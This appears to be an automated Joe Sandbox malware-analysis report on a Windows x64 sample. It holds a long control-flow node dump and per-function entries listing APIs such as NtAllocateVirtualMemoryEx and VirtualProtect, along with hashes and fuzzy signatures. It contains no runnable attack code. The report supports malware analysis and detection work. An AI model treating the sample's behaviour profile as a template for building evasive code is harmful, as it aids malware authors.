7ff6bf4a15c6 4119->4120 4121 7ff6bf4a1394 2 API calls 4120->4121 4122 7ff6bf4a15d5 4121->4122 4123 7ff6bf4a1394 2 API calls 4122->4123 4124 7ff6bf4a15e4 4123->4124 4125 7ff6bf4a1394 2 API calls 4124->4125 4126 7ff6bf4a15f3 4125->4126 4126->3633 4128 7ff6bf4a1394 2 API calls 4127->4128 4129 7ff6bf4a14c7 4128->4129 4130 7ff6bf4a1394 2 API calls 4129->4130 4131 7ff6bf4a14d6 4130->4131 4132 7ff6bf4a1394 2 API calls 4131->4132 4133 7ff6bf4a14e5 4132->4133 4134 7ff6bf4a1394 2 API calls 4133->4134 4135 7ff6bf4a14f4 4134->4135 4136 7ff6bf4a1503 4135->4136 4137 7ff6bf4a1394 2 API calls 4135->4137 4138 7ff6bf4a1394 2 API calls 4136->4138 4137->4136 4139 7ff6bf4a150d 4138->4139 4140 7ff6bf4a1512 4139->4140 4141 7ff6bf4a1394 2 API calls 4139->4141 4142 7ff6bf4a1394 2 API calls 4140->4142 4141->4140 4143 7ff6bf4a1521 4142->4143 4144 7ff6bf4a1394 2 API calls 4143->4144 4145 7ff6bf4a152b 4144->4145 4146 7ff6bf4a1394 2 API calls 4145->4146 4147 7ff6bf4a1530 4146->4147 4148 7ff6bf4a153f 4147->4148 4149 7ff6bf4a1394 2 API calls 4147->4149 4150 7ff6bf4a1394 2 API calls 4148->4150 4149->4148 4151 7ff6bf4a154e 4150->4151 4152 7ff6bf4a1394 2 API calls 4151->4152 4153 7ff6bf4a1558 4152->4153 4154 7ff6bf4a155d 4153->4154 4155 7ff6bf4a1394 2 API calls 4153->4155 4156 7ff6bf4a1394 2 API calls 4154->4156 4155->4154 4157 7ff6bf4a1567 4156->4157 4158 7ff6bf4a156c 4157->4158 4159 7ff6bf4a1394 2 API calls 4157->4159 4160 7ff6bf4a1394 2 API calls 4158->4160 4159->4158 4161 7ff6bf4a1576 4160->4161 4162 7ff6bf4a157b 4161->4162 4163 7ff6bf4a1394 2 API calls 4161->4163 4164 7ff6bf4a1394 2 API calls 4162->4164 4163->4162 4165 7ff6bf4a1585 4164->4165 4166 7ff6bf4a158a 4165->4166 4167 7ff6bf4a1394 2 API calls 4165->4167 4168 7ff6bf4a1394 2 API calls 4166->4168 4167->4166 4169 7ff6bf4a1599 4168->4169 4170 7ff6bf4a1394 2 API calls 4169->4170 4171 7ff6bf4a15a3 4170->4171 4172 7ff6bf4a15a8 4171->4172 4173 7ff6bf4a1394 2 API calls 4171->4173 4174 7ff6bf4a1394 2 API calls 4172->4174 4173->4172 4175 7ff6bf4a15b7 4174->4175 4176 7ff6bf4a1394 2 API calls 4175->4176 4177 7ff6bf4a15c1 4176->4177 4178 7ff6bf4a1394 2 API calls 4177->4178 4179 7ff6bf4a15c6 4178->4179 4180 7ff6bf4a1394 2 API calls 4179->4180 4181 7ff6bf4a15d5 4180->4181 4182 7ff6bf4a1394 2 API calls 4181->4182 4183 7ff6bf4a15e4 4182->4183 4184 7ff6bf4a1394 2 API calls 4183->4184 4185 7ff6bf4a15f3 4184->4185 4185->3707 4187 7ff6bf4a1394 2 API calls 4186->4187 4188 7ff6bf4a15e4 4187->4188 4189 7ff6bf4a1394 2 API calls 4188->4189 4190 7ff6bf4a15f3 4189->4190 4190->3707 4192 7ff6bf4a1394 2 API calls 4191->4192 4193 7ff6bf4a1495 4192->4193 4194 7ff6bf4a149a 4193->4194 4195 7ff6bf4a1394 2 API calls 4193->4195 4196 7ff6bf4a1394 2 API calls 4194->4196 4195->4194 4197 7ff6bf4a14a4 4196->4197 4198 7ff6bf4a14a9 4197->4198 4199 7ff6bf4a1394 2 API calls 4197->4199 4200 7ff6bf4a1394 2 API calls 4198->4200 4199->4198 4201 7ff6bf4a14b3 4200->4201 4202 7ff6bf4a1394 2 API calls 4201->4202 4203 7ff6bf4a14b8 4202->4203 4204 7ff6bf4a1394 2 API calls 4203->4204 4205 7ff6bf4a14c7 4204->4205 4206 7ff6bf4a1394 2 API calls 4205->4206 4207 7ff6bf4a14d6 4206->4207 4208 7ff6bf4a1394 2 API calls 4207->4208 4209 7ff6bf4a14e5 4208->4209 4210 7ff6bf4a1394 2 API calls 4209->4210 4211 7ff6bf4a14f4 4210->4211 4212 7ff6bf4a1503 4211->4212 4213 7ff6bf4a1394 2 API calls 4211->4213 4214 7ff6bf4a1394 2 API calls 4212->4214 4213->4212 4215 7ff6bf4a150d 4214->4215 4216 7ff6bf4a1512 4215->4216 4217 7ff6bf4a1394 2 API calls 4215->4217 4218 7ff6bf4a1394 2 API calls 4216->4218 4217->4216 4219 7ff6bf4a1521 4218->4219 4220 7ff6bf4a1394 2 API calls 4219->4220 4221 7ff6bf4a152b 4220->4221 4222 7ff6bf4a1394 2 API calls 4221->4222 4223 7ff6bf4a1530 4222->4223 4224 7ff6bf4a153f 4223->4224 4225 7ff6bf4a1394 2 API calls 4223->4225 4226 7ff6bf4a1394 2 API calls 4224->4226 4225->4224 4227 7ff6bf4a154e 4226->4227 4228 7ff6bf4a1394 2 API calls 4227->4228 4229 7ff6bf4a1558 4228->4229 4230 7ff6bf4a155d 4229->4230 4231 7ff6bf4a1394 2 API calls 4229->4231 4232 7ff6bf4a1394 2 API calls 4230->4232 4231->4230 4233 7ff6bf4a1567 4232->4233 4234 7ff6bf4a156c 4233->4234 4235 7ff6bf4a1394 2 API calls 4233->4235 4236 7ff6bf4a1394 2 API calls 4234->4236 4235->4234 4237 7ff6bf4a1576 4236->4237 4238 7ff6bf4a157b 4237->4238 4239 7ff6bf4a1394 2 API calls 4237->4239 4240 7ff6bf4a1394 2 API calls 4238->4240 4239->4238 4241 7ff6bf4a1585 4240->4241 4242 7ff6bf4a158a 4241->4242 4243 7ff6bf4a1394 2 API calls 4241->4243 4244 7ff6bf4a1394 2 API calls 4242->4244 4243->4242 4245 7ff6bf4a1599 4244->4245 4246 7ff6bf4a1394 2 API calls 4245->4246 4247 7ff6bf4a15a3 4246->4247 4248 7ff6bf4a15a8 4247->4248 4249 7ff6bf4a1394 2 API calls 4247->4249 4250 7ff6bf4a1394 2 API calls 4248->4250 4249->4248 4251 7ff6bf4a15b7 4250->4251 4252 7ff6bf4a1394 2 API calls 4251->4252 4253 7ff6bf4a15c1 4252->4253 4254 7ff6bf4a1394 2 API calls 4253->4254 4255 7ff6bf4a15c6 4254->4255 4256 7ff6bf4a1394 2 API calls 4255->4256 4257 7ff6bf4a15d5 4256->4257 4258 7ff6bf4a1394 2 API calls 4257->4258 4259 7ff6bf4a15e4 4258->4259 4260 7ff6bf4a1394 2 API calls 4259->4260 4261 7ff6bf4a15f3 4260->4261 4261->3708 4262 7ff6bf4a149a 4261->4262 4263 7ff6bf4a1394 2 API calls 4262->4263 4264 7ff6bf4a14a4 4263->4264 4265 7ff6bf4a14a9 4264->4265 4266 7ff6bf4a1394 2 API calls 4264->4266 4267 7ff6bf4a1394 2 API calls 4265->4267 4266->4265 4268 7ff6bf4a14b3 4267->4268 4269 7ff6bf4a1394 2 API calls 4268->4269 4270 7ff6bf4a14b8 4269->4270 4271 7ff6bf4a1394 2 API calls 4270->4271 4272 7ff6bf4a14c7 4271->4272 4273 7ff6bf4a1394 2 API calls 4272->4273 4274 7ff6bf4a14d6 4273->4274 4275 7ff6bf4a1394 2 API calls 4274->4275 4276 7ff6bf4a14e5 4275->4276 4277 7ff6bf4a1394 2 API calls 4276->4277 4278 7ff6bf4a14f4 4277->4278 4279 7ff6bf4a1503 4278->4279 4280 7ff6bf4a1394 2 API calls 4278->4280 4281 7ff6bf4a1394 2 API calls 4279->4281 4280->4279 4282 7ff6bf4a150d 4281->4282 4283 7ff6bf4a1512 4282->4283 4284 7ff6bf4a1394 2 API calls 4282->4284 4285 7ff6bf4a1394 2 API calls 4283->4285 4284->4283 4286 7ff6bf4a1521 4285->4286 4287 7ff6bf4a1394 2 API calls 4286->4287 4288 7ff6bf4a152b 4287->4288 4289 7ff6bf4a1394 2 API calls 4288->4289 4290 7ff6bf4a1530 4289->4290 4291 7ff6bf4a153f 4290->4291 4292 7ff6bf4a1394 2 API calls 4290->4292 4293 7ff6bf4a1394 2 API calls 4291->4293 4292->4291 4294 7ff6bf4a154e 4293->4294 4295 7ff6bf4a1394 2 API calls 4294->4295 4296 7ff6bf4a1558 4295->4296 4297 7ff6bf4a155d 4296->4297 4298 7ff6bf4a1394 2 API calls 4296->4298 4299 7ff6bf4a1394 2 API calls 4297->4299 4298->4297 4300 7ff6bf4a1567 4299->4300 4301 7ff6bf4a156c 4300->4301 4302 7ff6bf4a1394 2 API calls 4300->4302 4303 7ff6bf4a1394 2 API calls 4301->4303 4302->4301 4304 7ff6bf4a1576 4303->4304 4305 7ff6bf4a157b 4304->4305 4306 7ff6bf4a1394 2 API calls 4304->4306 4307 7ff6bf4a1394 2 API calls 4305->4307 4306->4305 4308 7ff6bf4a1585 4307->4308 4309 7ff6bf4a158a 4308->4309 4310 7ff6bf4a1394 2 API calls 4308->4310 4311 7ff6bf4a1394 2 API calls 4309->4311 4310->4309 4312 7ff6bf4a1599 4311->4312 4313 7ff6bf4a1394 2 API calls 4312->4313 4314 7ff6bf4a15a3 4313->4314 4315 7ff6bf4a15a8 4314->4315 4316 7ff6bf4a1394 2 API calls 4314->4316 4317 7ff6bf4a1394 2 API calls 4315->4317 4316->4315 4318 7ff6bf4a15b7 4317->4318 4319 7ff6bf4a1394 2 API calls 4318->4319 4320 7ff6bf4a15c1 4319->4320 4321 7ff6bf4a1394 2 API calls 4320->4321 4322 7ff6bf4a15c6 4321->4322 4323 7ff6bf4a1394 2 API calls 4322->4323 4324 7ff6bf4a15d5 4323->4324 4325 7ff6bf4a1394 2 API calls 4324->4325 4326 7ff6bf4a15e4 4325->4326 4327 7ff6bf4a1394 2 API calls 4326->4327 4328 7ff6bf4a15f3 4327->4328 4328->3708 4328->3712 4330 7ff6bf4a1394 2 API calls 4329->4330 4331 7ff6bf4a1486 4330->4331 4332 7ff6bf4a148b 4331->4332 4333 7ff6bf4a1394 2 API calls 4331->4333 4334 7ff6bf4a1394 2 API calls 4332->4334 4333->4332 4335 7ff6bf4a1495 4334->4335 4336 7ff6bf4a149a 4335->4336 4337 7ff6bf4a1394 2 API calls 4335->4337 4338 7ff6bf4a1394 2 API calls 4336->4338 4337->4336 4339 7ff6bf4a14a4 4338->4339 4340 7ff6bf4a14a9 4339->4340 4341 7ff6bf4a1394 2 API calls 4339->4341 4342 7ff6bf4a1394 2 API calls 4340->4342 4341->4340 4343 7ff6bf4a14b3 4342->4343 4344 7ff6bf4a1394 2 API calls 4343->4344 4345 7ff6bf4a14b8 4344->4345 4346 7ff6bf4a1394 2 API calls 4345->4346 4347 7ff6bf4a14c7 4346->4347 4348 7ff6bf4a1394 2 API calls 4347->4348 4349 7ff6bf4a14d6 4348->4349 4350 7ff6bf4a1394 2 API calls 4349->4350 4351 7ff6bf4a14e5 4350->4351 4352 7ff6bf4a1394 2 API calls 4351->4352 4353 7ff6bf4a14f4 4352->4353 4354 7ff6bf4a1503 4353->4354 4355 7ff6bf4a1394 2 API calls 4353->4355 4356 7ff6bf4a1394 2 API calls 4354->4356 4355->4354 4357 7ff6bf4a150d 4356->4357 4358 7ff6bf4a1512 4357->4358 4359 7ff6bf4a1394 2 API calls 4357->4359 4360 7ff6bf4a1394 2 API calls 4358->4360 4359->4358 4361 7ff6bf4a1521 4360->4361 4362 7ff6bf4a1394 2 API calls 4361->4362 4363 7ff6bf4a152b 4362->4363 4364 7ff6bf4a1394 2 API calls 4363->4364 4365 7ff6bf4a1530 4364->4365 4366 7ff6bf4a153f 4365->4366 4367 7ff6bf4a1394 2 API calls 4365->4367 4368 7ff6bf4a1394 2 API calls 4366->4368 4367->4366 4369 7ff6bf4a154e 4368->4369 4370 7ff6bf4a1394 2 API calls 4369->4370 4371 7ff6bf4a1558 4370->4371 4372 7ff6bf4a155d 4371->4372 4373 7ff6bf4a1394 2 API calls 4371->4373 4374 7ff6bf4a1394 2 API calls 4372->4374 4373->4372 4375 7ff6bf4a1567 4374->4375 4376 7ff6bf4a156c 4375->4376 4377 7ff6bf4a1394 2 API calls 4375->4377 4378 7ff6bf4a1394 2 API calls 4376->4378 4377->4376 4379 7ff6bf4a1576 4378->4379 4380 7ff6bf4a157b 4379->4380 4381 7ff6bf4a1394 2 API calls 4379->4381 4382 7ff6bf4a1394 2 API calls 4380->4382 4381->4380 4383 7ff6bf4a1585 4382->4383 4384 7ff6bf4a158a 4383->4384 4385 7ff6bf4a1394 2 API calls 4383->4385 4386 7ff6bf4a1394 2 API calls 4384->4386 4385->4384 4387 7ff6bf4a1599 4386->4387 4388 7ff6bf4a1394 2 API calls 4387->4388 4389 7ff6bf4a15a3 4388->4389 4390 7ff6bf4a15a8 4389->4390 4391 7ff6bf4a1394 2 API calls 4389->4391 4392 7ff6bf4a1394 2 API calls 4390->4392 4391->4390 4393 7ff6bf4a15b7 4392->4393 4394 7ff6bf4a1394 2 API calls 4393->4394 4395 7ff6bf4a15c1 4394->4395 4396 7ff6bf4a1394 2 API calls 4395->4396 4397 7ff6bf4a15c6 4396->4397 4398 7ff6bf4a1394 2 API calls 4397->4398 4399 7ff6bf4a15d5 4398->4399 4400 7ff6bf4a1394 2 API calls 4399->4400 4401 7ff6bf4a15e4 4400->4401 4402 7ff6bf4a1394 2 API calls 4401->4402 4403 7ff6bf4a15f3 4402->4403 4403->3717 4405 7ff6bf4a1394 2 API calls 4404->4405 4406 7ff6bf4a15d5 4405->4406 4407 7ff6bf4a1394 2 API calls 4406->4407 4408 7ff6bf4a15e4 4407->4408 4409 7ff6bf4a1394 2 API calls 4408->4409 4410 7ff6bf4a15f3 4409->4410 4410->3698 4424 7ff6bf4a1000 4425 7ff6bf4a108b __set_app_type 4424->4425 4426 7ff6bf4a1040 4424->4426 4428 7ff6bf4a10b6 4425->4428 4426->4425 4427 7ff6bf4a10e5 4428->4427 4430 7ff6bf4a1e00 4428->4430 4431 7ff6bf4a88e0 __setusermatherr 4430->4431 4432 7ff6bf4a1800 4433 7ff6bf4a1812 4432->4433 4434 7ff6bf4a1835 fprintf 4433->4434 4457 7ff6bf4a2320 strlen 4458 7ff6bf4a2337 4457->4458 4496 7ff6bf4a1e65 4497 7ff6bf4a1e67 signal 4496->4497 4498 7ff6bf4a1e7c 4497->4498 4500 7ff6bf4a1e99 4497->4500 4499 7ff6bf4a1e82 signal 4498->4499 4498->4500 4499->4500 4435 7ff6bf4a2104 4436 7ff6bf4a2111 EnterCriticalSection 4435->4436 4437 7ff6bf4a2218 4435->4437 4438 7ff6bf4a220b LeaveCriticalSection 4436->4438 4443 7ff6bf4a212e 4436->4443 4439 7ff6bf4a2272 4437->4439 4441 7ff6bf4a2241 DeleteCriticalSection 4437->4441 4442 7ff6bf4a2230 free 4437->4442 4438->4437 4440 7ff6bf4a214d TlsGetValue GetLastError 4440->4443 4441->4439 4442->4441 4442->4442 4443->4438 4443->4440

                                                        Executed Functions

                                                        Function 00007FF6BF4A1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                        • String ID:
                                                        • API String ID: 2643109117-0
                                                        • Opcode ID: a0ffc3490043a5ec0224fbf99dd79e396836b501958e2054e0e50db8326e6d65
                                                        • Instruction ID: d1b1dc92f381bb9d40a067ade9fc9955ae243b35755ea239ca6dca958a7ad23e
                                                        • Opcode Fuzzy Hash: a0ffc3490043a5ec0224fbf99dd79e396836b501958e2054e0e50db8326e6d65
                                                        • Instruction Fuzzy Hash: F3515439E0AA4A84FA519BADE9403B923E1BF8A780F445075CB4DD77B3DE2DE451C700
                                                        Function 00007FF6BF4A1394 Relevance: 1.5, APIs: 1, Instructions: 24memorynativeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • NtAllocateVirtualMemoryEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BF4A1156), ref: 00007FF6BF4A13F7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: AllocateMemoryVirtual
                                                        • String ID:
                                                        • API String ID: 2167126740-0
                                                        • Opcode ID: cd03112ebaf99cbb6466dcf9251231c7b26ec386537855b10847fe955aa9cd16
                                                        • Instruction ID: d34e0d728b15e97c8f16218496cce8b3544a160b627dd0cae4f21698f42f3811
                                                        • Opcode Fuzzy Hash: cd03112ebaf99cbb6466dcf9251231c7b26ec386537855b10847fe955aa9cd16
                                                        • Instruction Fuzzy Hash: 55F0977290DB4686E614DF99F85152A77E0FB88784F005839EBAD83736DF7CE1608B40

                                                        Non-executed Functions

                                                        Function 00007FF6BF4A3B50 Relevance: 121.2, APIs: 67, Strings: 1, Instructions: 2222COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$memcpy$_wcsicmp
                                                        • String ID:
                                                        • API String ID: 3604702941-3916222277
                                                        • Opcode ID: cef776f27ea0b5e55153de76e9b87412da706344121e07e74f7c0d426f27903d
                                                        • Instruction ID: 39bed77f2189f7136a137a1e50f023f0de946f63e0128170a7781449ec5dfc13
                                                        • Opcode Fuzzy Hash: cef776f27ea0b5e55153de76e9b87412da706344121e07e74f7c0d426f27903d
                                                        • Instruction Fuzzy Hash: 0B534065C2C6C285F7218BADB8413F467A0BF96384F445375DB8CD69B6EF6EA284C304
                                                        Function 00007FF6BF4A3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: memset$wcscatwcscpywcslen
                                                        • String ID: $0$0$@$@
                                                        • API String ID: 4263182637-1413854666
                                                        • Opcode ID: 40d7259d852e47ddac544e186741332a1f948fa8e89339b32051cf185db2f54d
                                                        • Instruction ID: 27b0e9d75371ea481d6ea95e7eb5e346dace15b1b7190cb729d9265af834c555
                                                        • Opcode Fuzzy Hash: 40d7259d852e47ddac544e186741332a1f948fa8e89339b32051cf185db2f54d
                                                        • Instruction Fuzzy Hash: 32B17D2590C6C285F3218BACF4457BAB7A0FF85344F404235EB8996AB6EF7ED185CB40
                                                        Function 00007FF6BF4A2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                        • String ID: 0$X$`
                                                        • API String ID: 329590056-2527496196
                                                        • Opcode ID: 181e691e6867ff06e7ee34f4d8ce11b7f7ef989851e3521f984727f4b8a48499
                                                        • Instruction ID: 6517afafc7390f7acdb90547c9eacbd824389d8dfa1f357de4692d2c4eb95c2c
                                                        • Opcode Fuzzy Hash: 181e691e6867ff06e7ee34f4d8ce11b7f7ef989851e3521f984727f4b8a48499
                                                        • Instruction Fuzzy Hash: B7028D26A08B8585F7618F99E8043AA77A4FB867A4F404235DB9C83BF6DF3DD185C700
                                                        Function 00007FF6BF4A1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • VirtualQuery.KERNEL32(?,?,?,?,00007FF6BF4AA4D8,00007FF6BF4AA4D8,?,?,00007FF6BF4A0000,?,00007FF6BF4A1991), ref: 00007FF6BF4A1C63
                                                        • VirtualProtect.KERNEL32(?,?,?,?,00007FF6BF4AA4D8,00007FF6BF4AA4D8,?,?,00007FF6BF4A0000,?,00007FF6BF4A1991), ref: 00007FF6BF4A1CC7
                                                        • memcpy.MSVCRT ref: 00007FF6BF4A1CE0
                                                        • GetLastError.KERNEL32(?,?,?,?,00007FF6BF4AA4D8,00007FF6BF4AA4D8,?,?,00007FF6BF4A0000,?,00007FF6BF4A1991), ref: 00007FF6BF4A1D23
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                        • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                        • API String ID: 2595394609-2123141913
                                                        • Opcode ID: 1bae67f4c89c93f3103c8d38c62448f756b0142a616c8e7ebc9e3e171efedb9a
                                                        • Instruction ID: ef2fda82f9446c6911f39b550989c8a1d6bd050957fb56debc0ad4b40bb0b363
                                                        • Opcode Fuzzy Hash: 1bae67f4c89c93f3103c8d38c62448f756b0142a616c8e7ebc9e3e171efedb9a
                                                        • Instruction Fuzzy Hash: E6418175A09A4A81FA508B89E8846B827E0FB96BC0F654136CF0DC77B6DE3CE545DB00
                                                        Function 00007FF6BF4A2104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                        • String ID:
                                                        • API String ID: 3326252324-0
                                                        • Opcode ID: 655ee2efdfcbbb117383d8274ed149da6d1996c3ad69a5bb3e151505abf286ae
                                                        • Instruction ID: e3e8d3c033a73dd6791e7ddfaa075cee015cf47a9547a0d20af180601f9bc1fa
                                                        • Opcode Fuzzy Hash: 655ee2efdfcbbb117383d8274ed149da6d1996c3ad69a5bb3e151505abf286ae
                                                        • Instruction Fuzzy Hash: 1621F725E0990282FA669B89E94077563B0FF15B90F440170CF1ED7EB9DF2DE946D300
                                                        Function 00007FF6BF4A1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
